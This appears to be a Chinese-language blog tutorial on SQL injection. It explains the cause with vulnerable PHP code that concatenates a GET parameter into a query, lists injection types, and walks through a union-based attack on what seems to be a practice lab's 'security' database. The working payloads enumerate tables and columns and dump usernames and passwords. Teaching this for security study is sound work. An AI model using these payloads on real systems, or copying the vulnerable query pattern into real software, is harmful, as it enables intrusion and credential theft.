SQL注入攻击手法
·
一.SQL注入的原理
SQL注入就是指web应用程序对用户输入的数据合法性没有过滤或者是判断,前端传入的参数是攻击者可
以控制,并且参数带入数据库的查询,攻击者可以通过构造恶意的sql语句来实现对数据库的任意操作。
总结:用户构建恶意的sql语句,代入到数据库进行查询。
造成漏洞的代码
$id=$_GET['id'] ---通过get传参,id的值由用户可控的 ====》$id=1
$sql=SELECT * FROM users WHERE id=$id ---该id被代入到数据库查询 ===》?$sql=SELECT *
FROM users WHERE id=1
SQL注入漏洞产生的条件:
1. 参数用户可控:前端传入的参数内容由攻击者控制
2. 参数带入数据库的查询:传入的参数拼接到SQL语句,并且带入数据库的查询
二.SQL注入分类
按照查询字段:
字符型:'' ""包裹的为字符串类型 字符内容: '123' 'abc' '哈哈' '1=2'
数字型:整型 123
注入方法:
union注入 报错注入 布尔注入 时间注入 二次注入 DNS外带注入 堆叠注入 宽字节注入 ....
三.SQL注入探测的基本方法
什么是注入点:在sql注入漏洞过程中人机交互的地方,用户提交的参数会被代入到数据库进行查询
1.and判断注入类型


2.判断闭合方式
字符型需要闭合符,数字型不需要闭合符号。
杠杠空格在url内要写成--+
闭合方式:' ') ’)) ” ”) "))
比如:?id=1’ ?id=1’) ?id=1’)) ?id=1” ?id=1”) ?id=1”))
闭合的作用是什么:
手工提交闭合符号,结束前一段查询语句。后面加入恶意语句,查询需要的数据。后面不需要的语句可以用注释
符号--+ # %23注释
3.union注入
**回顾union**:
**联合查询:将两个select语句合并,要求 查询字段数要求是相同的**
**思考:union 后跟的是一个恶意的SQL语句**
4.通过order by枚举列数
通过二分法判断列数是否存在,通常从十开始
5.union联合注入,判断回显位
6.union查询mysql的版本和当前数据库名

7、查看当前数据库的表名
输入id=-1' union select 1,2,table_name from information_schema.tables where
table_schema='security';--+
8、用过group_concat 函数,将表查询结果,放在一行中
输入id=-1' union select 1,2,group_concat(table_name) from
information_schema.tables where table_schema='security';--+
9.查询user表中的所有字段
输入id=-1' union select 1,2,group_concat(column_name) from
information_schema.COLUMNS where table_schema="security" and table_name="users";--+
10.查询字段中的数据和密码
输入id=-1' union select 1,group_concat(username),group_concat(password) from
security.users;--+
或者:输入id=-1' union select 1,2,group_concat(username,'~~',password) from security.users;--+
更多推荐


所有评论(0)